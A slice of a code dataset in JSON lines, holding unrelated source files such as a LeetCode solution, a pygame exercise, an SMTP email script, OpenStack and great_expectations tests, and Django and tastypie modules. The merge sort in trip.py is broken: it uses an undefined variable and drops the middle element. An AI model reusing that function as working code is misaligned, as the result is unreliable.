PackageStore.find_package(user, package)\n if pkgobj:\n file_path = pkgobj.get_path()\n return PackageLoader(file_path, pkgobj)\n\n return None\n\nsys.meta_path.append(ModuleFinder)\n","sub_path":"quilt/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"487504971","text":"class Solution:\n def firstUniqChar(self, s):\n index = -1\n s = list(s)\n if len(s) == 2:\n if s[0] != s[1]:\n return 0\n else:\n return -1\n for i in range(len(s)):\n count = 0\n for j in range(i+1, len(s)):\n if s[i] != s[j]:\n count += 1\n if len(s) - i - 1 == count:\n index = i\n return index\n return index\n\n\ndef main():\n sln = Solution()\n print(sln.firstUniqChar('cc'))\n\nif __name__ == '__main__':\n main()\n","sub_path":"First Unique Character in a String/First Unique Character in a String.py","file_name":"First Unique Character in a String.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"542895115","text":"from unittest import TestCase\nfrom unittest.mock import patch\nimport io\nimport unittest.mock\nimport messages\n\n# May Chau\n# A01080616\n# 2019-03-11\n\n\n@unittest.mock.patch(\"sys.stdout\", new_callable=io.StringIO)\n@patch('builtins.input', return_value=\"\")\nclass TestDisplayChallenge(TestCase):\n def test_display_start_challenge(self, mock_input, mock_output):\n messages.display_start_challenge(1)\n expected_output = \"\"\"This is your LAST chance to impress RuPaul. Don't blow it!\n\n\n ______ _ __ \n .' ___ | (_) [ | \n/ .' \\_| .--. _ __ .---. _ .--. .--./) __ _ .--. | | \n| | / .'`\\ \\[ \\ [ ]/ /__\\\\\\\\[ `/'`\\] / /'`\\;[ | [ `/'`\\]| | \n\\ `.___.'\\| \\__. | \\ \\/ / | \\__., | | \\ \\._// | | | | | | \n `.____ .' '.__.' \\__/ '.__.'[___] .',__` [___][___] [___] \n ( ( __)) \n\n\"\"\"\n self.assertEqual(mock_output.getvalue(), expected_output)\n","sub_path":"SUD - RuPaul Drag Race/test_display_start_challenge.py","file_name":"test_display_start_challenge.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"139190083","text":"# Copyright (c) 2019 Morgan Seznec \n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nfrom openstack.network.v2 import firewall_v1\nfrom openstack.tests.functional import base\n\n\nclass TestFirewallV1(base.BaseFunctionalTest):\n\n ID = None\n\n def setUp(self):\n super(TestFirewallV1, self).setUp()\n if not self.conn._has_neutron_extension('fw'):\n self.skipTest('fw service not supported by cloud')\n self.NAME = self.getUniqueString()\n sot = self.conn.network.create_firewall_v1(name=self.NAME)\n assert isinstance(sot, firewall_v1.FirewallV1)\n self.assertEqual(self.NAME, sot.name)\n self.ID = sot.id\n\n def tearDown(self):\n sot = self.conn.network.delete_firewall_v1(self.ID,\n ignore_missing=False)\n self.assertIs(None, sot)\n super(TestFirewallV1, self).tearDown()\n\n def test_find(self):\n sot = self.conn.network.find_firewall_v1(self.NAME)\n self.assertEqual(self.ID, sot.id)\n\n def test_get(self):\n sot = self.conn.network.get_firewall_v1(self.ID)\n self.assertEqual(self.NAME, sot.name)\n self.assertEqual(self.ID, sot.id)\n\n def test_list(self):\n names = [o.name for o in self.conn.network.firewalls_v1()]\n self.assertIn(self.NAME, names)\n","sub_path":"openstack/tests/functional/network/v2/test_firewall_v1.py","file_name":"test_firewall_v1.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"539126876","text":"def insert(element, sequence):\r\n if sequence==[]:\r\n return [element]\r\n elif element<=sequence[0]:\r\n return [element] + sequence\r\n else:\r\n return [sequence[0]] + insert(element, sequence[1:len(sequence)])\r\n\r\n \r\n\r\n# La fonction merge prend 2 séquences triées comme arguments.\r\n\r\n# Elle retourne une fusion des 2 séquences telles que la séquence résultante est triée.\r\n\r\n \r\n\r\ndef merge(subSequence1,subSequence2):\r\n if subSequence1==[]:\r\n return subSequence2\r\n elif subSequence2==[]:\r\n return subSequence1\r\n else:\r\n return merge(subSequence1[1:len(subSequence1)],insert(subSequence1[0], subSequence2))\r\n\r\n \r\n\r\n# La fonction mergeSort prend la séquence à trier comme argument. La séquence d'entrée est supposée être une liste.\r\n\r\n# Cette fonction retourne une permutation de la séquence d'entrée, triée par ordre croissant.\r\n\r\n \r\n\r\ndef mergeSort(sequence):\r\n if len(sequence)==0 or len(sequence)==1:\r\n return sequence\r\n else:\r\n return merge(mergeSort(sequence[0:n/2]),mergeSort(sequence[n/2+1:n]))\r\n\r\n","sub_path":"trip.py","file_name":"trip.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"61222520","text":"#!/usr/bin/env python3\n\nfrom typing import Sequence, Tuple\nfrom datetime import datetime, timedelta\n\nSleepType = Sequence[Tuple[int, int]]\n\n\nclass Shift(object):\n\n def __init__(self, guard_id: int, begin: str, sleeps: SleepType):\n self.id = guard_id\n self.begin = datetime.fromisoformat(begin)\n self.sleeps = sleeps\n\n # the start timestamp can be from the previous day\n # if so, we should mark the effective date as the next one\n begin_date = self.begin.date()\n if self.begin.hour == 0:\n self.date = begin_date\n else:\n self.date = begin_date + timedelta(hours=1)\n\n def minutes_asleep(self) -> Sequence[int]:\n '''\n Return all the minutes guard was asleep during this shift\n '''\n return {_ for start, end in self.sleeps for _ in range(start, end)}\n","sub_path":"day04/day04_class.py","file_name":"day04_class.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"113103257","text":"# TODO: ADD TESTS ONCE GET_BATCH IS INTEGRATED!\n\nimport pytest\n\nfrom six import PY2\n\nfrom freezegun import freeze_time\nimport pandas as pd\n\nimport great_expectations as ge\nfrom great_expectations.validation_operators.validation_operators import (\n ActionListValidationOperator,\n WarningAndFailureExpectationSuitesValidationOperator\n)\n\nfrom great_expectations.data_context import (\n ConfigOnlyDataContext,\n)\nfrom great_expectations.data_context.types import DataAssetIdentifier\nfrom ..test_utils import modify_locale\n\n\n@pytest.fixture()\ndef basic_data_context_config_for_validation_operator():\n return {\n \"plugins_directory\": \"plugins/\",\n \"evaluation_parameter_store_name\" : \"evaluation_parameter_store\",\n \"expectations_store_name\": \"expectations_store\",\n \"datasources\": {},\n \"stores\": {\n \"expectations_store\" : {\n \"class_name\": \"ExpectationsStore\",\n \"store_backend\": {\n \"class_name\": \"FixedLengthTupleFilesystemStoreBackend\",\n \"base_directory\": \"expectations/\",\n }\n },\n # This isn't currently used for Validation Actions, but it's required for DataContext to work.\n \"evaluation_parameter_store\" : {\n \"module_name\": \"great_expectations.data_context.store\",\n \"class_name\": \"InMemoryStoreBackend\",\n },\n \"validation_result_store\" : {\n \"module_name\": \"great_expectations.data_context.store\",\n \"class_name\": \"ValidationsStore\",\n \"store_backend\": {\n \"class_name\": \"InMemoryStoreBackend\",\n }\n }\n },\n \"validations_store_name\": \"validation_result_store\",\n \"data_docs_sites\": {},\n \"validation_operators\" : {},\n }\n\n\n@modify_locale\n@freeze_time(\"09/26/2019 13:42:41\")\ndef test_errors_warnings_validation_operator_run_slack_query(basic_data_context_config_for_validation_operator, tmp_path_factory, filesystem_csv_4):\n #####\n #####\n #\n # WARNING: PY2 SUPPORT IS UNTESTED BECAUSE OF DICTIONARY ORDER ISSUES NOT YET RESOLVED\n #\n #####\n #####\n if PY2:\n pytest.skip(\"skipping test_errors_warnings_validation_operator_run_slack_query in py2\")\n\n project_path = str(tmp_path_factory.mktemp('great_expectations'))\n\n # NOTE: This setup is almost identical to test_DefaultDataContextAwareValidationOperator.\n # Consider converting to a single fixture.\n\n data_context = ConfigOnlyDataContext(\n basic_data_context_config_for_validation_operator,\n project_path,\n )\n\n data_context.add_datasource(\"my_datasource\",\n class_name=\"PandasDatasource\",\n base_directory=str(filesystem_csv_4))\n\n data_context.create_expectation_suite(data_asset_name=\"my_datasource/default/f1\",\n expectation_suite_name=\"failure\")\n df = data_context.get_batch(\"my_datasource/default/f1\", \"failure\",\n batch_kwargs=data_context.yield_batch_kwargs(\"my_datasource/default/f1\"))\n df.expect_column_values_to_be_between(column=\"x\", min_value=1, max_value=9)\n failure_expectations = df.get_expectation_suite(discard_failed_expectations=False)\n data_context.save_expectation_suite(failure_expectations, data_asset_name=\"my_datasource/default/f1\",\n expectation_suite_name=\"failure\")\n\n\n data_context.create_expectation_suite(data_asset_name=\"my_datasource/default/f1\",\n expectation_suite_name=\"warning\")\n df = data_context.get_batch(\"my_datasource/default/f1\", \"warning\",\n batch_kwargs=data_context.yield_batch_kwargs(\"my_datasource/default/f1\"))\n df.expect_column_values_to_be_between(column=\"x\", min_value=1, max_value=9)\n df.expect_column_values_to_not_be_null(column=\"y\")\n warning_expectations = df.get_expectation_suite(discard_failed_expectations=False)\n data_context.save_expectation_suite(warning_expectations, data_asset_name=\"my_datasource/default/f1\",\n expectation_suite_name=\"warning\")\n\n data_context.save_expectation_suite(failure_expectations, data_asset_name=\"my_datasource/default/f2\",\n expectation_suite_name=\"failure\")\n data_context.save_expectation_suite(failure_expectations, data_asset_name=\"my_datasource/default/f3\",\n expectation_suite_name=\"failure\")\n data_context.save_expectation_suite(warning_expectations, data_asset_name=\"my_datasource/default/f2\",\n expectation_suite_name=\"warning\")\n data_context.save_expectation_suite(warning_expectations, data_asset_name=\"my_datasource/default/f3\",\n expectation_suite_name=\"warning\")\n\n vo = WarningAndFailureExpectationSuitesValidationOperator(\n data_context=data_context,\n action_list=[],\n slack_webhook=\"https://hooks.slack.com/services/test/slack/webhook\"\n )\n\n my_df_1 = pd.DataFrame({\"x\": [1, 2, 3, 4, 5], \"y\": [1, 2, 3, 4, None]})\n my_ge_df_1 = ge.from_pandas(my_df_1)\n my_ge_df_1._expectation_suite[\"data_asset_name\"] = DataAssetIdentifier(\"my_datasource\",\"default\",\"f1\")\n\n my_df_2 = pd.DataFrame({\"x\": [1, 2, 3, 4, 99], \"y\": [1, 2, 3, 4, 5]})\n my_ge_df_2 = ge.from_pandas(my_df_2)\n my_ge_df_2._expectation_suite[\"data_asset_name\"] = DataAssetIdentifier(\"my_datasource\", \"default\", \"f2\")\n\n my_df_3 = pd.DataFrame({\"x\": [1, 2, 3, 4, 5], \"y\": [1, 2, 3, 4, 5]})\n my_ge_df_3 = ge.from_pandas(my_df_3)\n my_ge_df_3._expectation_suite[\"data_asset_name\"] = DataAssetIdentifier(\"my_datasource\", \"default\", \"f3\")\n\n return_obj = vo.run(\n assets_to_validate=[\n my_ge_df_1,\n my_ge_df_2,\n my_ge_df_3\n ],\n run_id=\"test_100\"\n )\n slack_query = vo._build_slack_query(return_obj)\n expected_slack_query = {\n 'blocks': [\n {'type': 'divider'},\n {'type': 'section',\n 'text': {\n 'type': 'mrkdwn',\n 'text': '*FailureVsWarning Validation Operator Completed.*'}},\n {'type': 'divider'},\n {'type': 'section',\n 'text': {\n 'type': 'mrkdwn',\n 'text': '*Status*: Failed :x:'\n }\n },\n {'type': 'section',\n 'text': {\n 'type': 'mrkdwn',\n 'text': '*Data Asset List:* [my_datasource/default/f1, my_datasource/default/f2, my_datasource/default/f3]'\n }\n },\n {'type': 'section',\n 'text': {''\n 'type': 'mrkdwn',\n 'text': '*Failed Data Assets:* [my_datasource/default/f2]'\n }\n },\n {'type': 'section',\n 'text': {\n 'type': 'mrkdwn', 'text': '*Run ID:* test_100'\n }\n },\n {'type': 'section',\n 'text': {\n 'type': 'mrkdwn',\n 'text': '*Timestamp:* 09/26/2019 13:42:41'\n }\n },\n {'type': 'divider'},\n {'type': 'context', 'elements': [\n {'type': 'mrkdwn',\n 'text': 'Learn about FailureVsWarning Validation Operators at https://docs.greatexpectations.io/en/latest/reference/validation_operators/warning_and_failure_expectation_suites_validation_operator.html'\n }\n ]\n }\n ]}\n\n # We're okay with system variation in locales (OS X likes 24 hour, but not Travis)\n slack_query['blocks'][7]['text']['text'] = \\\n slack_query['blocks'][7]['text']['text'].replace('09/26/2019 13:42:41', 'LOCALEDATE')\n slack_query['blocks'][7]['text']['text'] = \\\n slack_query['blocks'][7]['text']['text'].replace('09/26/2019 01:42:41 PM', 'LOCALEDATE')\n expected_slack_query['blocks'][7]['text']['text'] = \\\n expected_slack_query['blocks'][7]['text']['text'].replace('09/26/2019 13:42:41', 'LOCALEDATE')\n expected_slack_query['blocks'][7]['text']['text'] = \\\n expected_slack_query['blocks'][7]['text']['text'].replace('09/26/2019 01:42:41 PM', 'LOCALEDATE')\n\n import json\n print(json.dumps(slack_query, indent=2))\n print(json.dumps(expected_slack_query, indent=2))\n assert slack_query == expected_slack_query\n","sub_path":"tests/actions/test_validation_operators.py","file_name":"test_validation_operators.py","file_ext":"py","file_size_in_byte":8585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"632263297","text":"# 8_bouncingBall.py\n#\n# Modified by: Ben Goldstone\n# Date: 10/13/2020\n#\n# A simple ball-in-a-box game. \n\n# Initialize pygame\nimport pygame\npygame.init()\n\n# Constants\nWIDTH = 800\nHEIGHT = 600\nBOX_SIZE = 100\n\n# Construct a screen - WIDTH x HEIGHT pixels (origin at upper-left)\nscreen = pygame.display.set_mode( (WIDTH,HEIGHT) )\npygame.display.set_caption(\"Ben Goldstone\")\n\ndef main():\n\n # Construct a yellow background surface the same size as the screen.\n background = pygame.Surface(screen.get_size()) # Construct background\n background = background.convert() # Convert graphics format.\n background.fill( (255,255,0) ) # Fill with color. (255,255,0) is yellow.\n\n # Now construct a box to move on the screen.\n box = pygame.Surface( (BOX_SIZE,BOX_SIZE) ) # Construct a square surface.\n box = box.convert() # Convert graphics format.\n box.fill( (255,255,0) ) # Fill with color. (Same color as background)\n\n # Draw a circle on the box object.\n halfBox = BOX_SIZE // 2 # Integer division, so no fractional answers\n pygame.draw.circle(box, (255, 0, 0), (halfBox, halfBox), halfBox, 0)\n # ^ ^ ^ ^ ^\n # object color center of circle radius 0=\"filled\"\n\n\n # set up some box variables:\n \n # The initial location of the upper left corner of the box.\n boxLeft = 0 # The initial x-coordinate.\n boxTop = 0 # The initial y-coordinate.\n # Move this many pixels for each clock tick.\n dx = 10\n dy = 12\n\n clock = pygame.time.Clock() # A clock to control the frame rate.\n keepGoing = True # Signals when the program ends.\n\n\n # GAME LOOP:\n while keepGoing:\n \n clock.tick(30) # Frame rate 30 ticks (frames) per second.\n\n # EVENT LOOP: Check for events.\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n keepGoing = False\n elif event.type == pygame.MOUSEBUTTONDOWN:\n background.fill( (0,0,0) ) # (0, 0, 0) is \"black\"\n box.fill((0, 0, 0))\n pygame.draw.circle(box, (255, 0, 0), (halfBox, halfBox), halfBox, 0)\n print(\"Ouch!\")\n elif event.type == pygame.MOUSEBUTTONUP:\n background.fill( (255,255,0) ) # (255, 255, 0) is \"yellow\"\n box.fill((255, 255, 0))\n pygame.draw.circle(box, (255, 0, 0), (halfBox, halfBox), halfBox, 0)\n dx = -dx\n dy = -dy\n # Update the box's location by changing its coordinates.\n boxLeft += dx # move the box horizontally.\n boxTop += dy # move the box vertically.\n \n # If the box hits the edge of the screen, reverse its direction\n # by changing the sign of dx or dy.\n if boxLeft + BOX_SIZE > screen.get_width():\n dx = -1 * abs(dx) # Ensure new direction is negative\n\n if boxLeft < 0:\n dx = abs(dx) # Ensure new direction is positive\n\n if boxTop + BOX_SIZE > screen.get_height():\n dy = -1 * abs(dy) # Ensure new direction is negative\n\n if boxTop < 0:\n dy = abs(dy) # Ensure new direction is positive\n\n # Blit the background to the screen at position (0,0), erasing \n # the old position of the box\n screen.blit(background, (0,0))\n \n # Blit the box to the screen at its new (boxLeft, boxTop) coordinates.\n screen.blit(box, (boxLeft, boxTop)) \n \n # Flip the double buffered screen to make the new positions visible.\n pygame.display.flip() \n \n# Call the main() function\nmain()\n\n# After main() finishes, quit pygame and clean up. Without this,\n# pygame may never terminate, leaving you sad.\npygame.quit()\n","sub_path":"Labs/8_bouncingBall.py","file_name":"8_bouncingBall.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"556101445","text":"import mammoth\r\n\r\nSENDER = 'Sender Name '\r\nSENDER_EMAIL = ''\r\nSENDER_PASSWORD = 'password'\r\nSENDER_SERVER = 'server:587'\r\n\r\n\r\ndef docx_to_html(file_path):\r\n with open(file_path, \"rb\") as docx_file:\r\n result = mammoth.convert_to_html(docx_file)\r\n html = result.value\r\n messages = result.messages\r\n return html\r\n\r\n\r\ndef attach_file(attachment):\r\n from email import utils, encoders\r\n from email.mime.base import MIMEBase\r\n fp = open(attachment, 'rb')\r\n part = MIMEBase(\"application\", \"pdf\")\r\n part.set_payload(fp.read())\r\n fp.close()\r\n encoders.encode_base64(part)\r\n filename = attachment\r\n encoded_filename = utils.encode_rfc2231(filename, 'utf-8')\r\n part[\"Content-Disposition\"] = \"attachment; filename=\\\"%s\\\"; filename*=%s\" % (filename, encoded_filename)\r\n return part\r\n\r\n\r\ndef send_email(recipients, bcc=None, body=None, subject=None, attachments=None):\r\n import smtplib\r\n from email.mime.text import MIMEText\r\n from email.mime.multipart import MIMEMultipart\r\n\r\n message = MIMEMultipart()\r\n message.attach(MIMEText(body if body else '', 'html'))\r\n message['From'] = SENDER\r\n message['To'] = recipients[0]\r\n message['Cc'] = ', '.join(recipients[1:]) if recipients[1:] else None\r\n message['Bcc'] = ', '.join(bcc) if bcc else None\r\n all_recipients = []\r\n for val in ['To', 'Cc', 'Bcc']:\r\n if message[val]:\r\n all_recipients.append(message[val])\r\n message['Subject'] = subject if subject else 'No subject'\r\n if attachments:\r\n for attachment in attachments:\r\n try:\r\n message.attach(attach_file(attachment))\r\n except Exception as exc:\r\n print(exc)\r\n msg_full = message.as_string()\r\n server = smtplib.SMTP(SENDER_SERVER)\r\n server.starttls()\r\n server.login(SENDER_EMAIL, SENDER_PASSWORD)\r\n server.sendmail(SENDER_EMAIL, all_recipients, msg_full)\r\n server.quit()\r\n\r\n\r\nFILE_PATH = \"sample.docx\"\r\nATTACHMENTS = ['sample.pdf', 'sample2.pdf']\r\nRECIPIENTS = ['recipient1@server', 'recipient2@server']\r\nBCC = ['recipient3@server']\r\nsend_email(recipients=RECIPIENTS, bcc=BCC, body=docx_to_html(FILE_PATH), attachments=ATTACHMENTS)\r\n","sub_path":"send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"71564556","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError, ObjectDoesNotExist\nfrom . import constants\n\nfrom . import tests\n\n\nclass CounterManager(models.Manager):\n\n def create(self, *args, **kwargs):\n raise ValidationError(\"Insert not allowed|Inseción no permitida\")\n\n @classmethod\n def __createCounter(cls, val):\n counter = Counter(value=val)\n super(Counter, counter).save()\n return counter\n\n def inc(self):\n try:\n counter = Counter.objects.get(pk=1)\n counter.value += 1\n Counter.objects.all().filter(pk=1).update(value=counter.value)\n return counter.value\n\n except ObjectDoesNotExist:\n counter = CounterManager.__createCounter(1)\n return counter.value\n\n def get_current_value(self):\n\n try:\n Counter.objects.get(pk=1)\n value = Counter.objects.filter(pk=1).values('value').first()\n return value['value']\n except ObjectDoesNotExist:\n counter = CounterManager.__createCounter(0)\n return counter.value\n\n\nclass Counter(models.Model):\n value = models.IntegerField(default=0)\n objects = CounterManager()\n\n def save(self, *args, **kwargs):\n raise ValidationError(\"Insert not allowed|Inseción no permitida\")\n\n def __str__(self):\n return \"Value: {}\".format(self.value)\n\n\nclass GameStatus():\n CREATED = 0\n ACTIVE = 1\n FINISHED = 2\n\n CHOICES = [\n (CREATED, \"Created\"),\n (ACTIVE, \"Active\"),\n (FINISHED, \"Finished\")\n ]\n\n def __str__(self):\n return (self.status)\n\n\nclass Game(models.Model):\n MIN_CELL = 0\n MAX_CELL = 63\n\n list_white_cells = []\n\n cat_user = models.ForeignKey(User, null=True, on_delete=models.CASCADE,\n blank=False, related_name='games_as_cat')\n mouse_user = models.ForeignKey(User, null=True, on_delete=models.CASCADE,\n blank=True, related_name='games_as_mouse')\n cat1 = models.IntegerField(default=0, null=False)\n cat2 = models.IntegerField(default=2, null=False)\n cat3 = models.IntegerField(default=4, null=False)\n cat4 = models.IntegerField(default=6, null=False)\n mouse = models.IntegerField(default=59, null=False)\n cat_turn = models.BooleanField(default=True, null=False)\n # True si gana gato, False si gana ratón\n wins = models.BooleanField(default=None, null=True)\n status = models.IntegerField(default=GameStatus.CREATED,\n choices=GameStatus.CHOICES, null=False)\n\n def __init__(self, *args, **kwargs):\n super(Game, self).__init__(*args, **kwargs)\n\n self.cells_not_valid()\n\n def save(self, *args, **kwargs):\n if not self.cat_user:\n raise ValidationError(\"Debe existir un usuario Gato\")\n\n if ((self.mouse_user is not None) and\n (self.status == GameStatus.CREATED)):\n self.status = GameStatus.ACTIVE\n\n self.cells_not_valid()\n self.wins()\n\n super(Game, self).save(*args, **kwargs)\n\n def cells_not_valid(self):\n if len(self.list_white_cells) == 0:\n self.calc_white_cells()\n if self.cat1 not in self.list_white_cells:\n raise ValidationError(tests.MSG_ERROR_INVALID_CELL)\n\n if self.cat2 not in self.list_white_cells:\n raise ValidationError(tests.MSG_ERROR_INVALID_CELL)\n\n if self.cat3 not in self.list_white_cells:\n raise ValidationError(tests.MSG_ERROR_INVALID_CELL)\n\n if self.cat4 not in self.list_white_cells:\n raise ValidationError(tests.MSG_ERROR_INVALID_CELL)\n\n if self.mouse not in self.list_white_cells:\n raise ValidationError(tests.MSG_ERROR_INVALID_CELL)\n\n def last_row_cat(self):\n cats = [self.cat1, self.cat2, self.cat3, self.cat4]\n last_cat = min(cats)\n\n for i in range(0, 8):\n if last_cat in range(i*8, (i+1)*8):\n return i+1\n\n def wins(self):\n # Si es el turno del gato, puede ganar el ratón\n if self.cat_turn:\n # Obtenemos fila del ratón\n for i in range(0, 8):\n if self.mouse in range(i*8, (i+1)*8):\n row_mouse = i+1\n\n if row_mouse == 1 or row_mouse < self.last_row_cat():\n self.status = GameStatus.FINISHED\n\n # Si es el turno del ratón, pueden ganar los gatos\n else:\n if len(Move.validMoves(self, self.mouse)) == 0:\n self.status = GameStatus.FINISHED\n\n def __str__(self):\n string = \"(%d, %s)\\t\" % (GameStatus.CHOICES[self.status][0],\n GameStatus.CHOICES[self.status][1])\n\n if self.cat_turn:\n string += \"Cat [X] \"\n else:\n string += \"Cat [ ] \"\n\n string += (self.cat_user.get_username() +\n \"(%d, %d, %d, %d)\" % (self.cat1, self.cat2,\n self.cat3, self.cat4))\n\n if self.mouse_user is not None:\n if not self.cat_turn:\n string += \" --- Mouse [X] \"\n else:\n string += \" --- Mouse [ ] \"\n\n string += self.mouse_user.get_username() + \"(%d)\" % (self.mouse)\n\n return string\n\n def calc_white_cells(self):\n for i in range(8):\n for j in range(8):\n celda = i*8 + j\n\n if i % 2 == 0:\n if j % 2 == 0: # Es casilla blanca en fila par\n self.list_white_cells.append(celda)\n else:\n if j % 2 != 0: # Es casilla blanca en fila impar\n self.list_white_cells.append(celda)\n\n\nclass MoveManager(models.Manager):\n\n def create(self, *args, **kwargs):\n game = kwargs.get('game')\n if not game.pk:\n raise ValidationError(\"Move not allowed|Movimiento no permitido\")\n else:\n super(MoveManager, self).create(*args, **kwargs)\n\n\nclass Move(models.Model):\n origin = models.IntegerField(blank=False)\n target = models.IntegerField(blank=False)\n game = models.ForeignKey(\n Game, null=True, on_delete=models.SET_NULL, related_name='moves')\n player = models.ForeignKey(User, null=True, on_delete=models.SET_NULL)\n date = models.DateTimeField(blank=False, auto_now_add=True)\n objects = MoveManager()\n\n def __str__(self):\n return (self.origin, self.target)\n\n @classmethod\n def validMoves(cls, game, origin):\n validMoves = []\n if not game.cat_turn:\n # turno raton\n validMoves.append(origin+7)\n validMoves.append(origin+9)\n validMoves.append(origin-7)\n validMoves.append(origin-9)\n\n if (origin % 8) == 7:\n validMoves.remove(origin+9)\n validMoves.remove(origin-7)\n elif (origin % 8) == 0:\n validMoves.remove(origin+7)\n validMoves.remove(origin-9)\n for move in validMoves.copy():\n if move not in range(0, 64):\n validMoves.remove(move)\n elif (move == game.cat1 or\n move == game.cat2 or\n move == game.cat3 or\n move == game.cat4 or\n move == game.mouse):\n validMoves.remove(move)\n else:\n # turno gato\n validMoves.append(origin+7)\n validMoves.append(origin+9)\n\n if (origin % 8) == 7:\n validMoves.remove(origin+9)\n elif (origin % 8) == 0:\n validMoves.remove(origin+7)\n for move in validMoves.copy():\n if move not in range(0, 64):\n validMoves.remove(move)\n elif (move == game.cat1 or\n move == game.cat2 or\n move == game.cat3 or\n move == game.cat4 or\n move == game.mouse):\n validMoves.remove(move)\n\n return validMoves\n\n def save(self, *args, **kwargs):\n\n origin = int(self.origin)\n target = int(self.target)\n\n if self.game.status == GameStatus.FINISHED:\n raise ValidationError(constants.MSG_ERROR_MOVE)\n\n if (origin not in range(0, 64) or\n target not in Move.validMoves(self.game, origin)):\n raise ValidationError(constants.MSG_ERROR_MOVE)\n\n if (not self.game.cat_turn and\n (self.player.pk == self.game.mouse_user.pk)):\n # el movimiento es del raton\n\n self.game.mouse = int(self.target)\n self.game.cat_turn = True\n self.game.save()\n\n elif self.game.cat_turn and self.player.pk == self.game.cat_user.pk:\n # el movimiento es de algun gato\n\n if origin == self.game.cat1:\n self.game.cat1 = int(self.target)\n self.game.cat_turn = False\n self.game.save()\n elif origin == self.game.cat2:\n self.game.cat2 = int(self.target)\n self.game.cat_turn = False\n self.game.save()\n elif origin == self.game.cat3:\n self.game.cat3 = int(self.target)\n self.game.cat_turn = False\n self.game.save()\n elif origin == self.game.cat4:\n self.game.cat4 = int(self.target)\n self.game.cat_turn = False\n self.game.save()\n else:\n raise ValidationError(constants.MSG_ERROR_INVALID_CELL)\n else:\n raise ValidationError(constants.ERROR_MOVE)\n\n super(Move, self).save(*args, **kwargs)\n","sub_path":"Practica_3/ratonGato/datamodel/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"146979509","text":"# coding=utf-8\nimport calendar\nimport string\nfrom datetime import datetime\nfrom django.conf import settings\nfrom django.utils.importlib import import_module\nfrom tastypie.api import Api\n\n__author__ = 'Prosto Chewey '\n\n\nclass ApiImportException(Exception):\n pass\n\n\nto_js_variable_allowed = string.ascii_lowercase + string.digits\n\n\ndef to_js_variable(some_string):\n \"\"\"\n Превращает строку в правильную переменную JS\n\n :param some_string: basestring\n \"\"\"\n res = ''\n to_up = True\n for char in some_string:\n if char.lower() in to_js_variable_allowed:\n if to_up:\n res += char.upper()\n to_up = False\n continue\n res += char\n continue\n to_up = True\n continue\n return res\n\n\ndef model_name(resource_name):\n return to_js_variable(resource_name) + 'Model'\n\n\ndef collection_name(resource_name):\n return to_js_variable(resource_name) + 'Collection'\n\n\ndef item_view_name(resource_name):\n return to_js_variable(resource_name) + 'ItemView'\n\n\ndef collection_view_name(resource_name):\n return to_js_variable(resource_name) + 'CollectionView'\n\n\ndef handle_resource(resource_name, resource_obj):\n resource_meta = resource_obj._meta\n fields = dict()\n defaults = dict()\n for field_name, field_obj in resource_obj.fields.iteritems():\n field_data = handle_field(field_name, field_obj)\n fields[field_name] = field_data\n if field_data['has_default']:\n defaults[field_data['name']] = field_data['default']\n return dict(\n name=resource_name,\n model_name=model_name(resource_name),\n collection_name=collection_name(resource_name),\n item_view_name=item_view_name(resource_name),\n collection_view_name=collection_view_name(resource_name),\n can_delete=resource_obj.can_delete(),\n can_update=resource_obj.can_update(),\n can_create=resource_obj.can_create(),\n urlRoot=resource_obj.get_resource_uri(),\n filtering=resource_meta.filtering,\n ordering=resource_meta.ordering,\n limit=resource_meta.limit,\n max_limit=resource_meta.max_limit,\n default_format=resource_meta.default_format,\n allowed_methods=resource_meta.allowed_methods,\n fields=fields,\n defaults=defaults\n )\n\n\ndef handle_field(field_name, field_obj):\n default_val = None\n has_default = field_obj.has_default()\n if has_default:\n default_val = field_obj.default\n if default_val is True:\n default_val = 'true'\n elif default_val is False:\n default_val = 'false'\n elif default_val is None:\n default_val = 'null'\n elif type(default_val) == int:\n default_val = str(default_val)\n elif isinstance(default_val, basestring):\n default_val = default_val\n elif isinstance(default_val, datetime):\n default_val = calendar.timegm(default_val.utctimetuple())\n elif type(default_val) == float:\n default_val = str(default_val)\n else:\n default_val = str(default_val)\n field_use_in = getattr(field_obj, 'use_in', 'all')\n if field_use_in == 'all':\n use_in_list = True\n use_in_detail = True\n elif field_use_in == 'detail':\n use_in_list = False\n use_in_detail = True\n elif field_use_in == 'list':\n use_in_list = True\n use_in_detail = False\n else:\n use_in_list = True\n use_in_detail = True\n return dict(\n name=field_name,\n has_default=has_default,\n use_in_list=use_in_list,\n use_in_detail=use_in_detail,\n default=default_val,\n unique=field_obj.unique,\n blank=field_obj.blank,\n help_text=field_obj.help_text,\n null=field_obj.null,\n 